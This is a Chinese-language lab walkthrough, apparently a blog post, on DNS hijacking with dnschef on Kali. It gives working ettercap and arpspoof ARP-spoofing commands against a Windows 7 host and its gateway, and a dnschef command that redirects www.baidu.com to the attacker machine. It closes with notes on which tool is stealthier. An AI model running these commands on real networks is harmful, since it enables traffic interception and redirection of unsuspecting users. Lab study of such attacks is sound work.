一、dnschef实验环境
二、操作步骤
1、在kali上开启arp欺骗(二选一)
ettercap -T -Q -M arp:remote -i eth0 /10.10.10.135// /10.10.10.2//
arpspoof -t 10.10.10.135 -r 10.10.10.2
2、在kali上开启dnschef命令
dnschef --fakeip=10.10.10.136 --fakedomains=www.baidu.com -q --interface=10.10.10.136
此命令相当于在DNS服务器中加入一条以下A记录
www.baidu.com A 10.10.10.136
此时netstat命令,发现python(dnschef)开启了53端口
root@kali2020:~# netstat -anput
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 608/sshd
tcp 0 36 10.10.10.136:22 10.10.10.1:54952 ESTABLISHED 3526/sshd: root@pts
tcp6 0 0 :::22 :::* LISTEN 608/sshd
udp 0 0 10.10.10.136:53 0.0.0.0:* 5122/python3
udp 0 0 10.10.10.136:68 10.10.10.254:67 ESTABLISHED 552/NetworkManager
udp 0 0 0.0.0.0:69 0.0.0.0:* 593/inetutils-inetd
3、在win7上DNS设置自动获取,得到10.10.10.2,此时ping www.baidu.com发现并没有解析到10.10.10.136,说明我们在使用dnschef工具时候,必须在客户端DNS配置设置10.10.10.136(kali)为DNS服务器,此时才能顺利得到www.baidu.com–>10.10.10.136的dns劫持需要的解析记录。具体报文(点击下载)
4、此过程的图示如下
三、ettercap与dnschef对比
经过对比,很明显ettercap使用dns_spoof插件的情况明显比dnschef好用,dnschef使用时多了一步在客户端的DNS服务器设置步骤,且其开放了53端口,更容易被目标发现。